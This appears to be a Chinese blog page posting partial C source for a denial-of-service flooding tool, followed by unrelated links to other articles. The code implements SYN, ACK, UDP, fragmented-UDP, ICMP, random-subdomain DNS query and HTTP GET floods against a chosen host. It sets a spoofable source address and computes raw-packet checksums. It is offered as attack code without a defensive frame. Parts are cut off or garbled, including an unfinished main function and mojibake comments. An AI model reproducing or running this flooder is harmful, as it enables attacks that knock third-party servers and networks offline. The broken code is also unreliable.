不废话,直接上代码,

先看截图use pictures;

2.source code

部分主要代码

void help_length(void)
{
    printf("\n This is not the correct format about option \" -l \".\n"
           " format: \" :<number> | <number>: | <number_1>:<number_2> \"\n\n");
    exit (1);
}

static unsigned short inline checksum(unsigned short *buffer,int size);
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size);

unsigned short proto_data_len=0;
char * get_rand_str(char * __proto_char,unsigned short __proto_char_len,\
                    char * __proto_str,int str_len);
char * get_rand_dn (char *__str_str,int len);
void send_tcp      (int sockfd,struct sockaddr_in *addr,char *mode);
void send_udp      (int sockfd,struct sockaddr_in *addr);
void send_icmp     (int sockfd,struct sockaddr_in *addr);
void send_udp_frag (int sockfd,struct sockaddr_in *addr);
void send_dns_query_flood (int sockfd,struct sockaddr_in *addr);
void build_dns_querybuf (char *name_str);
void build_dns_querybuf_random (char *_str_one,char *_str_second,char *_str_suffix,char *_str_str);
void send_get_flood(int sockfd,char *uri,int send_count);
void send_synclink (int sockfd,struct sockaddr_in *addr);
void send_packets_delay();

void sig_int   (int sigo);
//static void *pthread_func(void *vptr_args);

fd_set rset,drset;

struct protocol_fake_header {
    unsigned long saddr;
    unsigned long daddr;
    char mbz;
    char proto;
    unsigned short header_len;
};

struct icmphdr {
 char type;
 char code;
 unsigned short checksum;
 unsigned short id;
 unsigned short seq;
};

struct dnshdr_prefix {
 unsigned short id;         /* random() */
 unsigned short flags;      /* 0x0100 */
 unsigned short questions;  /* 0x0001 */
 unsigned short answers;    /* 0x0000 */
 unsigned short author;     /* 0x0000 */
 unsigned short addition;   /* 0x0000 */
};

struct dnshdr_suffix {
 unsigned short int type;     /* 0x0001 */
 unsigned short int class;    /* 0x0001 */
};

int i = 0;
 int a = 0;
 int port;
 int count=0;
 int nw;
 int n=0;

int gsockfd[MAX_SOCKFD];
 unsigned int send_get_number=0;
 unsigned short hostname_len;
 unsigned short iph_len;
 unsigned short tcph_len;
 unsigned short udph_len;
 unsigned short icmph_len;
 unsigned short dnsh_prefix_len;
 unsigned short dnsh_center_len;
 unsigned short dnsh_len;
 unsigned short data_len=0;
 unsigned short pkg_len;      /* length of iphdr + udphdr + dnshdr + querybuf + suffix(4) */

unsigned long packet_delay=0;
 char number ;
 char * QueryBuf;
 unsigned len_a=0,len_b;
 char _domain_name_char[]="0123456789abcdefghijklmnopqrstuvwxyz";
 char * p_str; /* used by Fun build_dns_querybuf */
 char * dn_suffix[]={"null","com","cn","net","org","gov","cc","biz"};
 char p_str_center[256];
 unsigned dn_suffix_tnum=6;
 unsigned short dn_suffix_num;
 char dn_suffix_len;
 unsigned long sum=0;

unsigned long int send_count=0;
 char PRINT_MODE[20]="SYN Flood";         /* 鏄剧ず鏇翠负鐞嗚В鐨勬敾鍑荤被鍨?鐢ㄥ湪绋嬪簭杩愯鏃舵樉绀?*/
 char *pbuf;
 char datasize[60];

char *pds;                   /* used by datasize */
 unsigned short int  data_size_max=0;
 unsigned short int  data_size_min=0;
 unsigned short int  tcp_syn_data_size_max=TCP_SYN_DATA_SIZE_MAX;
 unsigned short int  tcp_syn_data_size_min=TCP_SYN_DATA_SIZE_MIN;
 unsigned short int  udp_data_size_max;
 unsigned short int  udp_data_size_min;
 unsigned short int  icmp_data_size_max=ICMP_DATA_SIZE_MAX;
 unsigned short int  icmp_data_size_min=ICMP_DATA_SIZE_MIN;
 int sockfd;
 int dn;
 int i,ii;
 int _proto_char_len;
 char proto_data[1460]="rand";
 char buffer[1501]; /* store data from gsockfd[i] (server ) */
 char buf[20];
 int buf_len;
 char ipdata[20];
 char srcip[20];
 char domainname[50];
 char hostname[50];
 char hostport[8];
 char uri[1024]=URI;
 char mode[8]=MODE;
 char http_head_get[1024]=HTTP_HEAD_GET;

struct sockaddr_in to;
 struct hostent *host;

struct timeval tv,pdelay;
 struct timeval pstart,pend;
 unsigned long int pdelay_sec=0,pdelay_usec=0;
 float  timeuse;

struct iphdr *iph;
 struct udphdr *udph;
 struct dnshdr_prefix *dnsh_prefix;
 struct dnshdr_suffix *dnsh_suffix;

/*  ============= Main Function ========= */
int main(int argc,char **argv)
{
    if(argc!=3 && argc!=5 && argc!=7 && argc!=9 && argc!=11 && argc != 13 && argc != 15)
        help();
    int on=1;
    bzero(ipdata,20);
    bzero(srcip,20);
    bzero(&to,sizeof(to));
    int cn;
    
    while((cn=getopt(argc,argv,"c:m:h:p:S:s:u:l:d:"))!=EOF)
    {
    switch(cn)
    {
    case 'm':
        strcpy(mode,optarg);
        if(strcmp((mode),"syn")==0) {
            strcpy(PRINT_MODE,"SYN Flood");
            break;
            }
        if(strcmp((mode),"asyn")==0) {
            strcpy(PRINT_MODE,"SYN+ACK Flood");
            break;
            }
        if(strcmp((mode),"dsyn")==0) {
            strcpy(PRINT_MODE,"SYN+data Flood");
            break;
            }
        if(strcmp((mode),"dns")==0) {
            strcpy(PRINT_MODE,"DNS Query Flood");
            break;
            }
        if(strcmp((mode),"udp")==0) {
            strcpy(PRINT_MODE,"UDP Flood");
            break;
            }
        if(strcmp((mode),"icmp")==0) {
            strcpy(PRINT_MODE,"ICMP ECHO Flood");
            break;
            }
        if(strcmp((mode),"ufrag")==0) {
            strcpy(PRINT_MODE,"UDP Frag Flood");
            break;
            }
        if(strcmp((mode),"ack")==0) {
            strcpy(PRINT_MODE,"TCP ACK Flood");
            break;
            }
        if(strcmp((mode),"pack")==0) {
            strcpy(PRINT_MODE,"TCP PSH ACK Flood");
            break;
            }
        if(strcmp((mode),"rack")==0) {
            strcpy(PRINT_MODE,"TCP RST ACK Flood");
            break;
            }
        if(strcmp((mode),"fack")==0) {
            strcpy(PRINT_MODE,"TCP FIN ACK Flood");
            break;
            }
        if(strcmp((mode),"gack")==0) {
            strcpy(PRINT_MODE,"HTTP GET ACK Flood");
            break;
            }
        if(strcmp((mode),"gfld")==0) {
            strcpy(PRINT_MODE,"HTTP GET Flood");
            break;
            }
        if(strcmp((mode),"synclink")==0) {
            strcpy(PRINT_MODE,"Sync Link test");
            break;
            }
        else
            help();
        break;
    case 'h':
        strcpy(hostname,optarg);
        hostname_len=strlen(hostname);
        if(isdigit(hostname[hostname_len-1])) {
            to.sin_addr.s_addr=inet_addr(hostname);
            strcpy(ipdata,hostname);
            }
        else if((host=gethostbyname(hostname))==NULL) {
                printf(" resolv ip failed.\n");
                exit(1);
                }
            else {
                inet_ntop(AF_INET,host->h_addr_list[0],ipdata,sizeof(ipdata));
                    to.sin_addr.s_addr=inet_addr(ipdata);
                }
        break;
    case 'p':
        strcpy(hostport,optarg);
        break;
    case 'S':
        strcpy(srcip,optarg);
        break;
    case 'c':
        send_count=atoi(optarg);
        break;
    case 'u':
        strcpy(uri,optarg);
        break;
    case 's':
        strncpy(proto_data,optarg,strlen(optarg));
        break;
    case 'd':
        strcpy(buf,optarg);
        buf_len=strlen(buf);
        if(buf[buf_len-2]=='m' && buf[buf_len-1]=='s') {
            buf[buf_len-2]=0;    
            pdelay_sec=0;
            pdelay_usec=(long int)atoi(buf);
            }
        else if(buf[buf_len-1]=='s') {
            buf[buf_len-1]=0;    
            pdelay_sec=atoi(buf);
            pdelay_usec=0;
            }
            else if(isdigit(buf[buf_len-1])) {
                    pdelay_sec=0;
                    pdelay_usec=(long int)atoi(buf);
                    }
                else {printf(" enter time error.\n");exit(1);}
        break;
    case 'l':
        strcpy(datasize,optarg);
        if( (48 <= datasize[0] && datasize[0] <=58) && (48 <= datasize[strlen(datasize)-1] && datasize[strlen(datasize)-1]<= 58) )
            if( datasize[0]==':' ) {                           /*    :20   */
                pds=strtok(datasize,":");
                if(pds !=NULL) { data_size_min=DATA_SIZE_MIN; data_size_max=atoi(pds); }
                else  help_length();
                }
            else if( datasize[strlen(datasize)-1] == ':' ) {   /*   4:   */
                pds=strtok(datasize,":");
                if(pds != NULL) { data_size_min=atoi(pds); data_size_max=DATA_SIZE_MAX;}
                else  help_length();
                }
            else {                                             /*    5:9    */
                pds=strtok(datasize,":");
                if(pds != NULL)  data_size_min=atoi(pds);
                pds=strtok(NULL,":");
                if(pds != NULL)  data_size_max=atoi(pds);
                }
        else {
            }

if( data_size_max == 0) data_size_max=data_size_min;
        if( data_size_max<data_size_min)
            {
            printf(" data_size_min(100) > data_size_max(%d) !!!\n",data_size_max);
            exit (1);
            }
        if( data_size_max>1460)
            {
            printf(" data_size_max is 1460 !\n");
            exit (1);
            }
        break;
    default:
        help();
        break;        
    }
    }

if (data_size_min == 0 && data_size_max == 0)
        {
        data_size_min=DATA_SIZE_MIN;
        data_size_max=DATA_SIZE_MAX;
        }
//        printf(" datasize min=%d max=%d\n",data_size_min,data_size_max);
/* 寰楀埌闅忔満鐨勫煙鍚嶅瓧绗?*/    
char * get_rand_dn (char *___str_str,int str_len)
{
    int len=strlen(_domain_name_char);

for (ii=0;ii<str_len;ii++){
       ___str_str[ii]=_domain_name_char[rand()%(len-1)+1];
    }

//  printf (" over for \n");
  return ___str_str;
}

void send_packets_delay( )
{
    
  pdelay.tv_sec=pdelay_sec;
  pdelay.tv_usec=pdelay_usec;
#ifdef DEBUG
  printf(" pdelay.sec=%ld\n",pdelay.tv_sec);
  printf(" pdelay.usec=%ld\n",pdelay.tv_usec);
#endif

FD_ZERO(&drset);
  FD_SET(sockfd,&drset);
 
  select(sockfd+1,NULL,NULL,NULL,&pdelay);
}

/* ============ Pthread Function =========== */
/* static void *pthread_func(void *vptr_args)
{
    printf("  enter pthread[]\n");
     int sockfd;
    fd_set rset;
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){
        printf(" create sockfd error from pthread_fun.\n");    
        pthread_exit("Thank you for the CPU time");
        }
    a=connect(sockfd,(struct sockaddr *)&to,sizeof(to));
    if(a==0)
        {
          write(sockfd,http_head_get,strlen(http_head_get));
        printf(" send get request to server .\n");
        
         select
        tv.tv_sec=0;
        tv.tv_usec=5;
        FD_ZERO(&rset);
        FD_SET(sockfd,&rset);
        select(sockfd+1,&rset,NULL,NULL,&tv);
         while (1)
            {
            nw++;
            if(FD_ISSET(sockfd,&rset)) {
                printf("  enter while\n");
                n=read(sockfd,buffer,1500);
                printf(" read data ....");
                if(n==0) {
                    printf(" Accept fin and close sockfd[]\n");
                    close(sockfd);
                    FD_CLR(sockfd,&rset);
                    break;
                    }
                if(n<0) {
                    printf(" Accept rst and close sockfd[]\n");
                    close(sockfd);
                    FD_CLR(sockfd,&rset);
                    break;
                    }
                else
                    printf("read data\n");
*/
//                } /* end of if(FD_ */
/*            else

printf("  not can be read \n");
            } */ /* end of while */
//        }    /* end of if(a==0) */
/*    else
        {
        
        printf(" connect_status:%d  errno=%d close_sockfd[]\n\n",a,errno);
        close(sockfd);
        }
    send_get_number++;
return 0;
}
*/

/* =============== check sum function =============== */

static unsigned short inline checksum(unsigned short *buffer,int size){

unsigned long cksum = 0;
    
    while(size>1){
        cksum += *buffer++;
        size  -= sizeof(unsigned short);
    }
    
    if(size){
        cksum += *(unsigned char *)buffer;
    }
    
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);        
    
    return((unsigned short )(~cksum));
}

unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size)
{
char *buf;
struct protocol_fake_header *pfh;
int pfh_len = sizeof(struct protocol_fake_header);

buf = (char *)malloc(pfh_len+size);
pfh = (struct protocol_fake_header *)buf;
memcpy(buf+pfh_len,buffer,size);

pfh->saddr = saddr;
pfh->daddr = daddr;
pfh->mbz = 0;

if(strcmp(proto,"tcp")==0) {
    pfh->proto = IPPROTO_TCP;
    pfh->header_len = htons(tcph_len);
    }

if(strcmp(proto,"udp")==0) {
    pfh->proto = IPPROTO_UDP;
    pfh->header_len = htons(udph_len);
    }

sum = checksum((unsigned short*)buf,pfh_len+size);
free(buf);
return (sum);
}

attack source code的更多相关文章

  1. Source Code Review

    1.berfore we talking abnout the Source Code review,here's what we want to know about the most popula ...

  2. Tips for newbie to read source code

    This post is first posted on my WeChat public account: GeekArtT Reading source code is always one bi ...

  3. 编程等宽字体Source Code Pro(转)

    Source Code Pro - 最佳的免费编程字体之一!来自 Adobe 公司的开源等宽字体下载     每一位程序员都有一套自己喜爱的代码编辑器与编程字体,譬如我们之前就推荐过一款"神 ...

  4. How to build the Robotics Library from source code on Windows

    The Robotics Library is an open source C++ library for robot kinematics, motion planning and control ...

  5. How to build windows azure PowerShell Source Code

    Download any version source code of Windows Azure Powershell from https://github.com/Azure/azure-sdk ...

  6. akka cluster sharding source code 学习 (1/5) 替身模式

    为了使一个项目支持集群,自己学习使用了 akka cluster 并在项目中实施了,从此,生活就变得有些痛苦.再配上 apache 做反向代理和负载均衡,debug 起来不要太酸爽.直到现在,我还对 ...

  7. view class source code with JAD plugin in Eclipse

    The default class viewer doesn't decompile the class file so you cannot open and check the source co ...

  8. Classic Source Code Collected

    收藏一些经典的源码,持续更新!!! 1.深度学习框架(Deep Learning Framework). A:Caffe (Convolutional Architecture for Fast Fe ...

  9. Attach source code to a Netbeans Library Wrapper Module

    http://rubenlaguna.com/wp/2008/02/22/attach-source-code-to-a-netbeans-library-wrapper-module/ Attach ...

随机推荐

  1. ElasticSearch(七):ElasticSearch集群的搭建

    由于资源有限,使用是一台机器上安装三个elasticSearch服务端组成的集群. 1. 安装elasticSearch6.3.2 将原本安装的elasticSearch6.3.2复制两份,分别重新命 ...

  2. 在VSCode中配置Eslint格式化

    在VSCode中配置Eslint 格式化时使代码保持Eslint语法规范 安装Eslint以及prettier美化插件 在VSCode配置设置项中添加如下代码 { "workbench.co ...

  3. Linux中常用的函数

    1.devm_kzalloc() 函数 devm_kzalloc() 和kzalloc()一样都是内核内存分配函数,但是devm_kzalloc()是跟设备(device)有关的,当设备(device ...

  4. windows10密钥激活方法

    软件设计开发文档模板(国家标准)v1.1.rar 以上就是今天所分享Win10系统各个版本免费激活的windows密钥,希望win10专业版密钥可以帮助大家. 专业版:W269N-WFGWX-YVC9 ...

  5. 树莓派的媒体播放软件omxplayer

    树莓派中的CPU性能较差,而GPU较强大.omxplayer是专门针对树莓派的GPU的播放器.( made by Edgar (gimli) Hucek from the XBMC/Kodi proj ...

  6. mysql常用的聚合函数

    GROUP BY(聚合)函数本章论述了用于一组数值操作的 group (集合)函数.除非另作说明, group 函数会忽略 NULL 值. 假如你在一个不包含 ROUP BY子句的语句中使用一个 gr ...

  7. 实现JMS规范的ActiveMQ

    ActiveMQ是Apache软件基金会的开源产品,支持AMQP协议.MQTT协议(和XMPP协议作用类似).Openwire协议和Stomp协议等多种消息协议.并且ActiveMQ完整支持JMS A ...

  8. Oracle根据表的大小排序SQL语句

    --按照数据行数排序select table_name,blocks,num_rows from dba_tables where owner not like '%SYS%' and table_n ...

  9. 联想服务器配置 RAID

    联想服务器配置 RAID BIOS 中配置 RAID 阵列卡 x3650 和 x3850 一.进入 RAID 1.在开机自检时按 F1 进入 UEFI 配置界面 2.选择 System Setting ...

  10. hosts,No web site is configured at this address.

    解决办法: IIS管理器->右击网站->属性->网站——>IP地址一项->选择全部未分配-> 确定关闭 问题解决.